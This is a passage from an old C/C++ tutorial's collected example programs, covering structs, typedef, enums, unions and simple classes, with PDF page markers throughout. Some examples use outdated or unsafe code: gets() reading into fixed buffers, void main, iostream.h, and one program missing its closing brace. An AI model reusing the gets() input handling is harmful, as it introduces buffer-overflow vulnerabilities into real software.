for(i=0; i<2; i++)
{
//Displaying the stored data
cout<<"\nID number student # "<<i<<": "<<stud[i].id;
cout<<"\nFirst name student # "<<i<<": "<<stud[i].name;
cout<<"\nGender student # "<<i<<": "<<stud[i].gender;

file:///C|/Tutorial.txt (155 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nAge student # "<<i<<": "<<stud[i].age<<"\n";


}
system("pause");
}

-----------------------------------------------------------------------------------------------------------

//passing structures to functions and


//a function returning a structure
#include <iostream.h>
#include <stdlib.h>
#include <stdio.h>

//--------structure part--------
struct vegetable
{
char name[30];
float price;
};

//--------main program---------
int main()
{
//declare 2 structure variables
struct vegetable veg1, veg2;
//function prototype of type struct
struct vegetable addname();
//another function prototype
int list_func(vegetable);

//functions call for user input...


veg1 = addname();
veg2 = addname();
cout<<"\nVegetables for sale\n";

//function call for data display...


list_func(veg1);
list_func(veg2);
cout<<endl;
//for Borland
system("pause");
return 0;
}
//-------------function----------------
//This functions returns a structure
struct vegetable addname()
{
char tmp[20];
//declare a structure variable
struct vegetable vege;

cout<<"\nEnter name of vegetable: ";


gets(vege.name);
cout<<"Enter price (per 100gm): $ ";
gets(tmp);

file:///C|/Tutorial.txt (156 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//converts a string to float


vege.price = atof(tmp);
return (vege);
}

//structure passed from main()


int list_func(vegetable list)
{
cout<<"\nVegetable name: "<<list.name;
cout<<"\nVegetable price: $"<<list.price;
return 0;
}

---------------------------------------------------------------------------------------------------------

//typedef and struct program example


#include <stdio.h>
#include <stdlib.h>

typedef struct TestStruct


{
int p;
char q;
double r;
} mine;

void main()
{
mine testvar; //the declaration becomes simpler
testvar.p = 200;
testvar.q = 'T';
testvar.r = 1.234;
printf("%d\n%c\n%.4f\n", testvar.p, testvar.q,testvar.r);
system("pause");
}

-------------------------------------------------------------------------------------------------------

//typedef specifier
#include <stdio.h>

typedef struct mystructtag


{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

Test1.z = "This is a string";

file:///C|/Tutorial.txt (157 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

Test2 = &Test1;
printf("Test1->z = %s\n", Test2->z);
return 0;
}

-----------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

enum days {mon = 1,tue,wed,thu,fri,sat,sun};

void main()
{
//declaraing enum data type
enum days day_count;

cout<<" Simple day count\n";


cout<<" using enum\n";

for(day_count=mon;day_count<=sun;day_count++)
cout<<" "<<day_count<<"\n";
system("pause");
}

---------------------------------------------------------------------------------------------------------------

//enum declarations
#include <iostream>
using namespace std;

//Declare enum data type Days


enum Days
{
monday, //monday = 0 by default
tuesday = 0, //tuesday = 0 also
wednesday, //wednesday = 1
thursday, //thursday = 2
friday, //an so on.
saturday,
sunday
};

int main()
{
//try changing the tuesday constant,
//recompile and re run this program
enum Days WhatDay = tuesday;
switch (WhatDay)
{
case 0:
cout<<"It's Monday"<<endl;
break;
default:
cout<<"Other day"<<endl;
}

file:///C|/Tutorial.txt (158 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

return 0;
}

----------------------------------------------------------------------------------------------------------

//enum definition
#include <iostream>
using namespace std;

enum FileOpenFlags
{
//defined here...
OpenReadOnly = 1,
//using OpenReadOnly as the next initializer
//and so on...
OpenReadWrite = OpenReadOnly,
OpenBinary = OpenReadWrite,
OpenText = OpenBinary,
OpenShareable = OpenText
};

int main()
{
return 0;
}
//No output

-------------------------------------------------------------------------------------------------------------

//enumeration data type


#include <iostream>
using namespace std;

enum Days
{

Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday,
Monday
};

int i;
Days d = Thursday;
int main()
{
//Converted by integral promotion.
i = d;
cout<<"i = "<<i<<"\n";
return 0;
}

-------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (159 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdio.h>
#include <stdlib.h>

typedef enum {
FailOpenDisk = 1,
PathNotFound,
FolderCannotBeFound,
FileCannotBeFound,
FailOpenFile,
FileCannotBeRead,
DataCorrupted
} ErrorCode;

int main(void)
{
ErrorCode MyErrorCode;

for(MyErrorCode=FailOpenDisk; MyErrorCode<=DataCorrupted; MyErrorCode++)


printf(" %d", MyErrorCode);
printf("\n");
system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

union sample
{
int p;
float q;
double r;
};

void main()
{
//union data type
union sample content;

content.p = 37;
content.q = 1.2765;

cout<<"Display the union storage content\n";


cout<<" ONLY one at a time!\n";
cout<<"---------------------------------\n";
cout<<"Integer: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See, some of the contents are rubbish!\n";

content.q=33.40;
content.r=123.94;

file:///C|/Tutorial.txt (160 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"\nInteger: "<<content.p<<"\n";
cout<<"Float : "<<content.q<<"\n";
cout<<"Double : "<<content.r<<"\n";
cout<<"See another inactive contents, rubbish!\n";
cout<<"\nBetter use struct data type!!\n";
system("pause");
}

------------------------------------------VC++/VC++ .Net------------------------------------------------------

//typedef specifier
#include <cstdio>

//typedef oldname newname


typedef struct mystructtag
{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

Test1.z = "This is a string";


Test2 = &Test1;
printf("Test1->z = %s\n",Test2->z);
return 0;
}

----------------------------------------G++ on Linux/Fedora------------------------------------------------

///////typestruct.cpp///////////
//typedef specifier
#include <cstdio>
using namespace std;

//typedef oldname newname


typedef struct mystructtag
{
int x;
double y;
char* z;
} mystruct;

int main()
{
mystruct Test1, *Test2;
Test1.x = 111;
Test1.y = 1.111;
printf("Test1.x = %d\nTest1.y = %f\n", Test1.x, Test1.y);

file:///C|/Tutorial.txt (161 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

Test1.z = "This is a string";


Test2 = &Test1;
printf("Test1->z = %s\n", Test2->z);
return 0;
}

===============================MODULE12====================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)

file:///C|/Tutorial.txt (162 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

=========================================================================
=========================================================================

//Program start.cpp. For VC++/VC++ .Net, change


//the header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;
#include <iostream.h>
#include <stdlib.h>

struct item //struct data type


{
int keep_data;
};

void main()
{
item John_cat, Joe_cat, Big_cat;
int garfield; //normal variable

John_cat.keep_data = 10; //assigning data


Joe_cat.keep_data = 11;
Big_cat.keep_data = 12;
garfield = 13;

//Displaying data
cout<<"Data value for John_cat is "<<John_cat.keep_data<<"\n";
cout<<"Data value for Joe_cat is "<<Joe_cat.keep_data <<"\n";
cout<<"Data value for Big_cat is "<<Big_cat.keep_data<<"\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
cout<<"Press Enter key to quit\n";
system("pause"); //just for screen snapshot
}

---------------------------------------------------------------------------------------------------------

//Program class.cpp using class instead of struct


#include <iostream.h>
#include <stdlib.h>

//--------Class declaration part------------


class item
{
int keep_data; //private by default, it is public in struct
public: //public part
void set(int enter_value);
int get_value(void);
};

//--------Class implementation part---------


void item::set(int enter_value)
{
keep_data = enter_value;
}

file:///C|/Tutorial.txt (163 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int item::get_value(void)
{
return keep_data;
}

//-------main program------------
void main()
{
item John_cat, Joe_cat, Big_cat;
//three objects instantiated
int garfield; //normal variable

John_cat.set(10); //assigning data


Joe_cat.set(11);
Big_cat.set(12);
garfield = 13;

//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//This is illegal cause keep_data now, is private by default

cout<<"Accessing data using class\n";


cout<<"-------------------------\n";
cout<<"Data value for John_cat is "<<John_cat.get_value()<<"\n";
cout<<"Data value for Joe_cat is "<<Joe_cat.get_value()<<"\n";
cout<<"Data value for Big_cat is "<<Big_cat.get_value()<<"\n";
cout<<"\nAccessing data normally\n";
cout<<"---------------------------\n";
cout<<"Data value for garfield is "<<garfield<<"\n";

system("pause");
}

--------------------------------------------------------------------------------------------------------------

//Program robject.cpp
#include <iostream.h>
#include <stdlib.h>

//--------function prototype------------
int area(int rectangle_height, int rectangle_width);

struct rectangle
{
int height; //public
int width; //public
};

struct pole
{
int length; //public
int depth; //public
};

//----------rectangle area-------------
int surface_area(int rectangle_height, int rectangle_width)

file:///C|/Tutorial.txt (164 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

{
return (rectangle_height * rectangle_width);
}

//--------main program---------
void main()
{
rectangle wall, square;
pole lamp_pole;

wall.height = 12; //assigning data


wall.width = 10;
square.height = square.width = 8;

lamp_pole.length = 50;
lamp_pole.depth = 6;

cout<<"Area of wall = height x width, OK!"<< "\n";


cout<<"-------------------------------------"<< "\n";
cout<<"----> Area of the wall is "<<surface_area(wall.height, wall.width)<< "\n\n";
cout<<"Area of square = height x width, OK!"<< "\n";
cout<<"-------------------------------------"<< "\n";
cout<<"----> Area of square is "<<surface_area(square.height,square.width)<<"\n\n";
cout<<"Non related area?"<<"\n = height of square x width of the wall?"<<"\n";
cout<<"-------------------------------------"<< "\n";
cout<<"----> Non related surface area is "<<surface_area(square.height,wall.width)<<"\n\n";
cout<<"Wrong surface area = height of square"<<"\nx depth of lamp pole?"<<"\n";
cout<<"-------------------------------------"<< "\n";
cout<<"---->Wrong surface area is "<<surface_area(square.height,lamp_pole.depth)<<"\n";

system("pause");
}

----------------------------------------------------------------------------------------------------------------------

//Program classobj.cpp - using class instead of struct


#include <iostream.h>
#include <stdlib.h>

//---------a simple class declaration part-----------


class rectangle
{
//private by default, member variables
int height;
int width;
public:
//public, with two methods
int area(void);
void initialize(int, int);
};

//-----------class implementation part--------------


int rectangle::area(void)
{
return (height * width);
}

file:///C|/Tutorial.txt (165 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void rectangle::initialize(int initial_height, int initial_width)


{
height = initial_height;
width = initial_width;
}

//normal structure - compare the usage with class


struct pole
{
int length; //public
int depth; //public
};

//-------main program------------
void main()
{
rectangle wall, square;
pole lamp_pole;

//wall.height = 12;
//wall.width = 10;
//square.height = square.width = 8;
//these 3 lines invalid now, private, access only through methods

wall.initialize(12,10); //access data through method


square.initialize(8,8);
lamp_pole.length = 50; //normal struct data access
lamp_pole.depth = 6;

cout<<"Using class instead of struct\n";


cout<<"access through method area()\n";
cout<<"------------------------------\n";
cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";

//cout<<"---->Non related surface area is "<<surface_area(square.height,wall.width)<<"\n\n";


//cout<<"---->Wrong area is "<surface_area(square.height,lamp_pole.depth)<<"\n";
//-----illegal directly access the private data

system("pause");
}

-----------------------------------------------------------------------------------------------------------------------

//Program consdest.cpp - using class instead of struct


//with constructor and destructor
#include <iostream.h>
#include <stdlib.h>

//----------a simple class declaration part-----------


class rectangle
{
//private by default, member variables
int height;
int width;

file:///C|/Tutorial.txt (166 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//public
public:
rectangle(void); //constructor
int area(void);
void initialize(int, int);
~rectangle(void); //destructor
};

//--------------Implementation part------------
rectangle::rectangle(void)
//constructor implementation
{
height = 6;
width = 6;
}

int rectangle::area(void)
{
return (height * width);
}

void rectangle::initialize(int initial_height, int initial_width)


{
height = initial_height;
width = initial_width;
}

//----destructor implementation-----
rectangle::~rectangle(void)
{
height = 0;
width = 0;
}

//normal structure - compare with class usage


struct pole
{
int length;
int depth;
};

//---------main program-------
void main()
{
rectangle wall, square;
pole lamp_pole;

cout<<"Using class instead of struct, using DEFAULT VALUE\n";


cout<<"supplied by constructor, access through method area()\n";
cout<<"---------------------------------------------------\n\n";
cout<<"Area of the wall-->wall.area() = "<<wall.area()<< "\n\n";
cout<<"Area of the square-->square.area() = "<<square.area()<<"\n\n";
// wall.height = 12;
// wall.width = 10;
// square.height = square.width = 8;

file:///C|/Tutorial.txt (167 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//These 3 lines, invalid now, private access only through methods

wall.initialize(12,10); //override the constructor values


square.initialize(8,8);
lamp_pole.length = 50;
lamp_pole.depth = 6;

cout<<"Using class instead of struct, USING ASSIGNED VALUE\n";


cout<<"access through method area()\n";
cout<<"----------------------------------------------------\n";
cout<<"Area of the wall-->wall.area() = "<<wall.area()<<"\n\n";
cout<<"Area of the square-->square.area()= "<<square.area()<<"\n\n";

//cout<<"----> Non related surface area is "<<surface_area(square.height,wall.width)<<"\n\n";


//cout<<"---->Wrong area is "<surface_area(square.height,lamp_pole.depth)<<"\n";

system("pause");
}

-------------------------------------------------------------------------------------------------------------------

//Program wall1.cpp
#include <iostream.h>
#include <stdlib.h>

//-------a simple class, declaration part--------


class wall
{
int length;
int width;
//private by default
public:
wall(void);
//constructor declaration
void set(int new_length, int new_width);
//method
int get_area(void){return (length * width);}
//destructor method
~wall(void);
//destructor declaration
};

//----------implementation part-------------
wall::wall(void)
{ length = 8;
width = 8;
}
//This method will set a wall size to the two input
//parameters by default or initial value,

void wall::set(int new_length, int new_width)


{
length = new_length;
width = new_width;
}

file:///C|/Tutorial.txt (168 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

wall::~wall(void)
//destructor implementation
{ length = 0;
width = 0;
}

//--------main program-------
void main()
{
wall small, medium, big;
//three objects instantiated of type class wall

small.set(5, 7);
//new length and width for small wall
big.set(15, 20);
//new length and width for big wall
//the medium wall uses the default
//values supplied by constructor (8,8)

cout<<"Using new value-->small.set(5, 7)\n";


cout<<" Area of the small wall is = "<<small.get_area()<<"\n\n";
cout<<"Using default/initial value-->medium.set(8, 8)\n";
cout<<" Area of the medium wall is = "<<medium.get_area()<<"\n\n";
cout<<"Using new value-->big.set(15, 20)\n";
cout<<" Area of the big wall is = "<<big.get_area()<<"\n";

system("pause");
}

-------------------------------------------------------------------------------------------------------------

//Program wall.h, the header file

//--------class declaration part---------------


class wall
{
int length;
int width;
public:
wall(void);
//constructor method
void set(int new_length, int new_width);
//method
int get_area(void) {return (length * width);}
//destructor method
~wall(void);
//destructor
};

//this header file cannot be compiled or run

-----------------------------------------------------------------------------------------------------------------

//Program wall.cpp, this is implementation file

#include "wall.h"

file:///C|/Tutorial.txt (169 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

wall::wall(void)
//constructor implementation
{
length = 8;
width = 8;
}

//This method implementation will set a


//wall size to the two input parameters

void wall::set(int new_length, int new_width)


{
length = new_length;
width = new_width;
}

wall::~wall(void)
//destructor implementation
{
length = 0;
width = 0;
}

//This implementation program should be compiled


//without error, generating object file but can't be
//run because there is no main() entry point.

--------------------------------------------------------------------------------------------------------------

//Program wall2.cpp here are the main program,


//the actual program that programmer create

#include <iostream.h>
#include <stdlib.h>
#include "wall.h"
//user defined header file containing
//class declaration

main()
{
wall small, medium, large;
//three objects instantiated of class wall

small.set(5, 7);
large.set(15, 20);
//the medium wall uses the values
//supplied by the constructor

cout<<"In this part, we have divided our program into\n";


cout<<"three parts.\n"<<"1. Declaration part, wall.h\n";
cout<<"2. Implementation part, wall.cpp\n"<<"3. Main program, wall2.cpp\n";
cout<<"The output just from the 3rd part i.e. the main \n";
cout<<"program is same as the previous program, as follows\n";
cout<<"----------------------------------------------------\n\n";
cout<<"Area of the small wall surface is = "<<small.get_area()<<"\n";

file:///C|/Tutorial.txt (170 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Area of the medium wall surface is = "<<medium.get_area()<<"\n";


cout<<"area of the big wall surface is = "<<large.get_area()<<"\n";

system("pause");
}

-----------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

union Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};

void main()
{
//Optional union keyword
//ValueI = 100
Num TestVal = {100};

cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;
cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;
cout<<"Some rubbish???"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;

system("pause");
}

-------------------------------------------------------------------------------------------------------------------

#include <iostream.h>
#include <stdlib.h>

struct Num
{
int ValueI;
float ValueF;
double ValueD;
char ValueC;
};

void main()
{
struct Num TestVal = {100};

cout<<"\nInteger = "<<TestVal.ValueI<<endl;
TestVal.ValueF = 2.123L;
cout<<"Float = "<<TestVal.ValueF<<endl;

file:///C|/Tutorial.txt (171 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Uninitialzed double = "<<TestVal.ValueD<<endl;


cout<<"Better than union"<<endl;
TestVal.ValueC = 'U';
cout<<"Character = "<<TestVal.ValueC<<endl;

system("pause");
}

--------------------------------------------------------------------------------------------------------------------

//Creating simple class, STEP #1


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{

public:
line(void);
~line(void);
};

//------class implementation part-------


line::line(void)
{}

line::~line(void)
{}

//-------main program----------
int main()
{
line LineOne;

cout<<"Just program skeleton\n";

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------------

//Creating simple class, STEP #2


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{
char* color;
int pattern;
public:
line(void);
char* LineColor(char*){ return color = "GREEN";};
int LinePattern(int pattern){return pattern;};

file:///C|/Tutorial.txt (172 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

~line(void);
};

//----class implementation part-----


line::line(void)
{
//constructor’s value…
pattern = 12;
}

line::~line(void)
{
color = NULL;
pattern = 0;
}

//----------main program----------
void main()
{
line LineOne;
int x = 10;

cout<<"Simple Line attribute class\n";


cout<<"Using some user supplied value\n";
cout<<"------------------------------"<<"\n";
cout<<"Line's Color ----> "<<LineOne.LineColor("")<<"\n";
cout<<"Line's pattern type ----> "<<LineOne.LinePattern(x)<<"\n";
system("pause");
}

---------------------------------------------------------------------------------------------------------------------

//Creating simple class, STEP #3, complete


#include <iostream.h>
#include <stdlib.h>

//--------class, declaration part------


class line
{
char* color;
float weight;
float length;
char * arrow;

public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};

//------implementation part-------
line::line(void)
{

file:///C|/Tutorial.txt (173 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//constructors or initial values…


weight = 0.25;
length = 10;
}

line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}

//---------main program----------
void main()
{
line LineOne;

float x = 1.25, y = 2.25;


char newcolor[10] = "BLUE", *colorptr;

cout<<"Line attributes, very simple\n";


cout<<" class example\n";
cout<<"----------------------------"<<"\n";

colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;

cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";

system("pause");

------------------------------------------------------------------------------------------------------------------

//testing the constructor and destructor


#include <iostream.h>
#include <stdlib.h>

//----class declaration part--------


class TestConsDest
{
//member variable...
public:
int TestVar;

//member functions, constructor and destructor...


public:
TestConsDest();

file:///C|/Tutorial.txt (174 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int DisplayValue();
~TestConsDest();
};

//----------class implementation part------------


//constructor...
TestConsDest::TestConsDest()
{
//test how the constructor was invoked...
//static-retain the previous value…
static int x=1;
cout<<"In Constructor, pass #"<<x<<endl;
x++;
}

//simple function returning a value...


int TestConsDest::DisplayValue()
{
return TestVar = 100;
}

//destructor...
TestConsDest::~TestConsDest()
{
//test how destructor was invoked...
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly...
TestVar = 0;
}

//----------main program-----------
int main()
{
//instantiate two objects...
//constructor should be invoked...
//with proper memory allocation...
TestConsDest Obj1, Obj2;

cout<<"Reconfirm the allocation for Obj2 = "<<&Obj2<<endl;


cout<<"Default constructor value assigned = "<<Obj1.DisplayValue()<<endl;
cout<<"In main(), testing..."<<endl;
cout<<"What about Obj1 allocation? = "<<&Obj1<<endl;
cout<<"Default constructor value assigned = "<<Obj1.DisplayValue()<<endl;
system("pause");
return 0;
}

---------------------------------------------------------------------------------------------------------------------

//class skeleton program


//as summary...
#include <iostream.h>
#include <stdlib.h>

file:///C|/Tutorial.txt (175 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//----The base class declaration---


class BaseClass
{
//---member variables declaration---
//declare all your variables here
//with optional access restrictions
public:
int p;

//this keyword will be explained later...


protected:
float q;

private:
char r;

//---member functions or methods---


//define your functions here
//also with optional access restrictions
public:
//constructor
BaseClass();
//destructor
~BaseClass();

private:
int Funct1();

protected:
void Funct2();
};

//---class implementation part------


//define your functions or method here
BaseClass::BaseClass()
{}

int BaseClass::Funct1()
{return 0;}

//constructor implementation
void BaseClass::Funct2()
{}

//destructor implementation
BaseClass::~BaseClass()
{}

//the main program


//start instantiate objects here...
int main(void)
{
cout<<"------class test message----"<<endl;
cout<<"This just a class skeleton..."<<endl;
cout<<"It just simple, think simple!"<<endl;

file:///C|/Tutorial.txt (176 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
return 0;
}

-------------------------------------------VC++/VC++ .Net-------------------------------------------------------

//Program class.cpp using class instead of struct


#include <iostream>
using namespace std;

//--------Class declaration part------------


class item
{
//private by default, it is public in struct
int keep_data;
//public part
public:
void set(int enter_value);
int get_value(void);
};

//--------Class implementation part---------


void item::set(int enter_value)
{
keep_data = enter_value;
}

int item::get_value(void)
{
return keep_data;
}

//-------main program------------
void main()
{
//three objects instantiated
item John_cat, Joe_cat, Big_cat;
//normal variable
int garfield;

//assigning data
John_cat.set(111);
Joe_cat.set(222);
Big_cat.set(333);
garfield = 444;

//John_cat.keep_data = 100;
//Joe_cat.keep_data = 110;
//These are illegal because keep_data now, is private by default

cout<<"Accessing data using class\n";


cout<<"==========================\n";
cout<<"Data value for John_cat is "<<John_cat.get_value()<<"\n";
cout<<"Data value for Joe_cat is "<<Joe_cat.get_value()<<"\n";
cout<<"Data value for Big_cat is "<<Big_cat.get_value()<<"\n";
cout<<"\nAccessing data normally\n";

file:///C|/Tutorial.txt (177 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"=======================\n";
cout<<"Data value for garfield is "<<garfield<<"\n";
}

---------------------------------------G++ on Linux/Fedora-----------------------------------------------

/////////-simpleclass.cpp-////////
///////FEDORA 3, g++ x.x.x////////
/////Creating a simple class/////
#include <iostream>
using namespace std;

//--------class, declaration part------


class line
{
char* color;
float weight;
float length;
char * arrow;

public:
line(void);
char* LineColor(char* color){return color;};
float LineWeight(float weight){return weight;};
float LineLength(float length){return length;};
char *LineArrow(char* arrow){return arrow = "YES";};
~line(void);
};

//------implementation part-------
line::line(void)
{
//constructors or initial values.
weight = 0.25;
length = 10;
}

line::~line(void)
{
color = NULL;
weight = 0;
length = 0;
arrow = NULL;
}

//-----------main program------------
int main()
{
line LineOne;

float x = 1.25, y = 2.25;


char newcolor[10] = "BLUE", *colorptr;

cout<<"Line attributes, very simple\n";


cout<<" class example\n";
cout<<"----------------------------"<<"\n";

file:///C|/Tutorial.txt (178 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

colorptr = newcolor;
//just for testing the new attribute values...
cout<<"\nAs normal variables....."<<endl;
cout<<"Test the new line weight = "<<x<<endl;
cout<<"Test the new line length = "<<y<<endl;
cout<<"Test the new line color is = "<<colorptr<<endl;

cout<<"\nUsing class......."<<endl;
cout<<"New line's color ----> "<<LineOne.LineColor(colorptr)<<"\n";
cout<<"New line's weight ----> "<<LineOne.LineWeight(x)<<" unit"<<"\n";
cout<<"New line's length ----> "<<LineOne.LineLength(y)<<" unit""\n";
cout<<"Line's arrow ----> "<<LineOne.LineArrow(" ")<<"\n\n";

return 0;
}

=============================MODULE13======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

file:///C|/Tutorial.txt (179 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//program obarray.cpp, object and an array


//For VC++/VC++ .Net or other C++ standard compliance compiler,
//change the header files accordingly...
//#include <iostream>
//#include <cstdlib>
//using namespace std;

#include <iostream.h>
#include <stdlib.h>

//-------class declaration--------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
int get_extra(void) { return extra_data++;} //inline function
};

//---------class implementation-----------
int wall::extra_data; //Definition of extra_data

//constructor, assigning initial values


wall::wall(void)
{
length = 8;
width = 8;
extra_data = 1;
}

//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}

file:///C|/Tutorial.txt (180 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}

//----------main program-----------
void main()
{
wall small, medium, large, group[4];
//7 objects are instantiated, including an array

small.set(5, 7); //assigning values


large.set(15, 20);

for(int index=1; index<4; index++) //group[0] uses default


group[index].set(index + 10, 10);

cout<<"Sending message-->small.get_area()\n";
cout<<"Area of the small wall is "<<small.get_area()<<"\n\n";
cout<<"Sending message-->medium.get_area()\n";
cout<<"Area of the medium wall is "<<medium.get_area()<<"\n\n";
cout<<"Sending message-->large.get_area()\n";
cout<<"Area of the large wall is "<<large.get_area()<<"\n\n";

cout<<"New length/width group[index].set(index + 10, 10)\n";


for(int index=0; index<4; index++)
{
cout<<"Sending message using an array
-->group"<<"["<<index<<"].get_area()\n";
cout<<"An array of wall area "<<index<<" is
"<<group[index].get_area()<<"\n\n";
}

cout<<"extra_data = 1, extra_data++\n";
cout<<"Sending message using-->small.get_extra() or \n";
cout<<"array, group[0].get_extra()\n";

cout<<"Extra data value is "<<small.get_extra()<<"\n";


cout<<"New Extra data value is "<<medium.get_extra()<<"\n";
cout<<"New Extra data value is "<<large.get_extra()<<"\n";
cout<<"New Extra data value is "<<group[0].get_extra()<<"\n";
cout<<"New Extra data value is "<<group[3].get_extra()<<"\n";

system("pause");
}

-----------------------------------------------------------------------------------------------

//Program obstring.cpp
#include <iostream.h>
#include <stdlib.h>

//--------class declaration part-----------


class wall
{

file:///C|/Tutorial.txt (181 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt
